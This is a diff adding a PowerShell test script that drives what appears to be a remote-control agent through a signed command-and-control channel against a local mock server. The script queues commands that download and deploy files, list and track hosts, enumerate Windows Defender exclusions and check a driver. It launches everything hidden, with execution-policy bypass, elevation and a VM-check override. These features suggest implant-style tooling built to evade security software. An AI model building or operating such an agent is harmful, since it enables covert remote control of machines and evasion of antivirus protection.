"http://127.0.0.1:$Port" +$payloadDir = Join-Path $env:TEMP "ardrv-test-payloads" +$downloadDir = Join-Path $env:TEMP "ardrv-test-downloads" + +Remove-Item -Recurse -Force $payloadDir, $downloadDir -ErrorAction SilentlyContinue +New-Item -ItemType Directory -Force -Path $payloadDir, $downloadDir | Out-Null + +$payloadPath = Join-Path $payloadDir "hello.cmd" +"@echo off`r`necho deployed-by-cloud-agent" | Set-Content -LiteralPath $payloadPath -Encoding ASCII + +function Get-Sha256Hex([byte[]]$Bytes) +{ + $sha = [System.Security.Cryptography.SHA256]::Create() + + try + { + if ($null -eq $Bytes -or $Bytes.Length -eq 0) + { + $stream = New-Object System.IO.MemoryStream + } + else + { + $stream = New-Object System.IO.MemoryStream(, $Bytes) + } + + return ([BitConverter]::ToString($sha.ComputeHash($stream)) -replace "-", "").ToLower() + } + finally { $sha.Dispose() } +} + +function Get-HmacHex([string]$Key, [string]$Message) +{ + $hmac = New-Object System.Security.Cryptography.HMACSHA256 + try + { + $hmac.Key = [System.Text.Encoding]::UTF8.GetBytes($Key) + $hash = $hmac.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Message)) + return ([BitConverter]::ToString($hash) -replace "-", "").ToLower() + } + finally { $hmac.Dispose() } +} + +function Invoke-Worker([string]$Path, [string]$Method = "GET", [string]$Body = "") +{ + $bodyBytes = if ($Body) { [System.Text.Encoding]::UTF8.GetBytes($Body) } else { [byte[]]@() } + $ts = [string][DateTimeOffset]::UtcNow.ToUnixTimeSeconds() + $canonicalPath = $Path.TrimStart("/") + $canonical = "$AgentId`n$ts`n$Method`n$canonicalPath`n$(Get-Sha256Hex $bodyBytes)" + $sign = Get-HmacHex $Secret $canonical + + $headers = @{ + "X-Agent-Id" = $AgentId + "X-Agent-Ts" = $ts + "X-Agent-Sign" = $sign + } + + $uri = "$base$Path" + + if ($Method -eq "POST") + { + return Invoke-WebRequest -Method Post -Uri $uri -Body ([byte[]]$bodyBytes) -ContentType "application/octet-stream" -Headers $headers -UseBasicParsing + } + + return Invoke-WebRequest -Method Get -Uri $uri -Headers $headers -UseBasicParsing +} + +function Decode-Last([string]$Value) +{ + if (-not $Value) { return "" } + + try + { + return [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($Value)) + } + catch + { + return $Value + } +} + +function Send-Command([string]$Command, [int]$TimeoutSec = 45) +{ + # Enqueue through the operator API, then poll that exact command id. + # Waiting on "last changed" is flaky: identical outputs look like timeouts. + $bodyBytes = [System.Text.Encoding]::UTF8.GetBytes((@{ agent = $AgentId; text = $Command } | ConvertTo-Json -Compress)) + $res = Invoke-WebRequest -Method Post -Uri "$base/api/enqueue" -Body $bodyBytes ` + -ContentType "application/json" -Headers @{ "X-Operator-Key" = $OperatorKey } -UseBasicParsing + + $id = ($res.Content | ConvertFrom-Json).id + + $deadline = (Get-Date).AddSeconds($TimeoutSec) + + while ((Get-Date) -lt $deadline) + { + Start-Sleep -Milliseconds 400 + + $list = (Invoke-WebRequest -Uri "$base/api/commands?agent=$AgentId&limit=30" ` + -Headers @{ "X-Operator-Key" = $OperatorKey } -UseBasicParsing).Content | ConvertFrom-Json + + $cmd = @($list.commands | Where-Object { $_.id -eq $id }) | Select-Object -First 1 + + if ($cmd -and $cmd.state -eq "done") + { + return [string]$cmd.result + } + } + + return "" +} + +Write-Host "starting mock worker..." +$mockArgs = @( + "-ExecutionPolicy", "Bypass", + "-File", "$PSScriptRoot\cloudflare\mock-worker.ps1", + "-Port", "$Port", + "-Secret", $Secret, + "-FileDir", $payloadDir +) + +$mock = Start-Process -FilePath "powershell.exe" -ArgumentList $mockArgs -PassThru -WindowStyle Hidden +Start-Sleep -Seconds 2 + +Write-Host "starting agent..." +$agentArgs = @( + "-cloud", + "--agent", $AgentId, + "--url", $base, + "--secret", $Secret, + "--interval", "1000", + "--no-start-driver", + "--elevated", + "--allow-vm" +) + +$agent = Start-Process -FilePath $Exe -ArgumentList $agentArgs -PassThru -WindowStyle Hidden +Start-Sleep -Seconds 2 + +$results = [ordered]@{} + +try +{ + Write-Host "`nPING ->" -NoNewline + $results["PING"] = Send-Command "PING" + Write-Host " $($results['PING'])" + + Write-Host "STATUS ->" -NoNewline + $results["STATUS"] = Send-Command "STATUS" + Write-Host " $($results['STATUS'])" + + $dlTarget = Join-Path $downloadDir "hello.cmd" + Write-Host "DOWNLOAD ->" -NoNewline + $results["DOWNLOAD"] = Send-Command "DOWNLOAD $base/file/hello.cmd `"$dlTarget`"" + Write-Host " $($results['DOWNLOAD'])" + + Write-Host "BADHASH ->" -NoNewline + $results["BADHASH"] = Send-Command "DOWNLOAD $base/file/hello.cmd `"$downloadDir\bad.cmd`" 0000000000000000000000000000000000000000000000000000000000000000" + Write-Host " $($results['BADHASH'])" + + Write-Host "DEPLOY ->" -NoNewline + $results["DEPLOY"] = Send-Command "DEPLOY $base/file/hello.cmd" + Write-Host " $($results['DEPLOY'])" + + Write-Host "HOST_LIST ->" -NoNewline + $results["HOST_LIST"] = Send-Command "HOST_LIST" + Write-Host " $($results['HOST_LIST'].Split("`n")[0])" + + Write-Host "HOST_TRACK ->" -NoNewline + $results["HOST_TRACK"] = Send-Command "HOST_TRACK" + Write-Host " $($results['HOST_TRACK'])" + + Write-Host "STAGE_STATUS ->" -NoNewline + $results["STAGE_STATUS"] = Send-Command "STAGE_STATUS" + Write-Host " $($results['STAGE_STATUS'])" + + Write-Host "EXCLUSION_LIST ->" -NoNewline + $results["EXCLUSION_LIST"] = Send-Command "EXCLUSION_LIST" + Write-Host " $(($results['EXCLUSION_LIST'] -split "`n")[0])" + + Write-Host "DRIVER_STATUS ->" -NoNewline + $results["DRIVER_STATUS"] = Send-Command "DRIVER_STATUS" + Write-Host " $($results['DRIVER_STATUS'])" + + Write-Host "STOP ->" -NoNewline + $results["STOP"] = Send-Command "STOP" + Write-Host " $($results['STOP'])" + + # Unsigned request must be rejected by the worker. + try + { + $null = Invoke-WebRequest -Method Get -Uri "$base/status" -UseBasicParsing + $results["UNSIGNED"] = "ACCEPTED (bad)" + } + catch + { + $results["UNSIGNED"] = "403 rejected" + } +} +finally +{ + Wait-Process -Id $agent.Id -Timeout 10 -ErrorAction SilentlyContinue + Stop-Process -Id $agent.Id -Force -ErrorAction SilentlyContinue + Stop-Process -Id $mock.Id -Force -ErrorAction SilentlyContinue +} + +$downloaded = Test-Path -LiteralPath $dlTarget +$badExists = Test-Path -LiteralPath (Join-Path $downloadDir "bad.cmd") + +$deployPath = "" +if ($results["DEPLOY"] -match "^OK (?:SYSTEM )?(.+)$") { $deployPath = $matches[1] } +$deployed = $deployPath -and (Test-Path -LiteralPath $deployPath) + +Write-Host "`n--- summary ---" +$results.GetEnumerator() | ForEach-Object { "{0,-9} {1}" -f $_.Key, $_.Value } +"download file exists : $downloaded" +"bad-hash file removed : $(-not $badExists)" +"deployed file exists : $deployed" + +$failed = @() + +foreach ($key in @("PING", "STATUS", "DOWNLOAD", "DEPLOY", "STOP")) +{ + if ($results[$key] -match "^(ERR|)") + { + $failed += "$key failed" + } +} + +if (-not ([string]$results["HOST_LIST"]).Contains("hosts=")) +{ + $failed += "host list failed" +} + +if (-not (([string]$results["HOST_TRACK"]).Contains("alive=") -or ([string]$results["HOST_TRACK"]).Contains("track=none"))) +{ + $failed += "host track failed" +} + +if (-not ([string]$results["STAGE_STATUS"]).Contains("alive=")) +{ + $failed += "stage status failed" +} + +if (-not ([string]$results["EXCLUSION_LIST"]).Contains("defender=")) +{ + $failed += "exclusion list failed" +} + +if (-not ([string]$results["DRIVER_STATUS"]).Contains("fail=")) +{ + $failed += "driver status failed" +} + +if ($results["BADHASH"] -notmatch "^ERR DOWNLOAD hash mismatch") +{ + $failed += "bad-hash not rejected" +} + +if ($results["UNSIGNED"] -notmatch "403") +{ + $failed += "unsigned request accepted" +} + +if ($failed) +{ + Write-Host "`nFAIL: $($failed -join '; ')" + exit 1 +} + +Write-Host "`nPASS" +exit 0 + + + + + +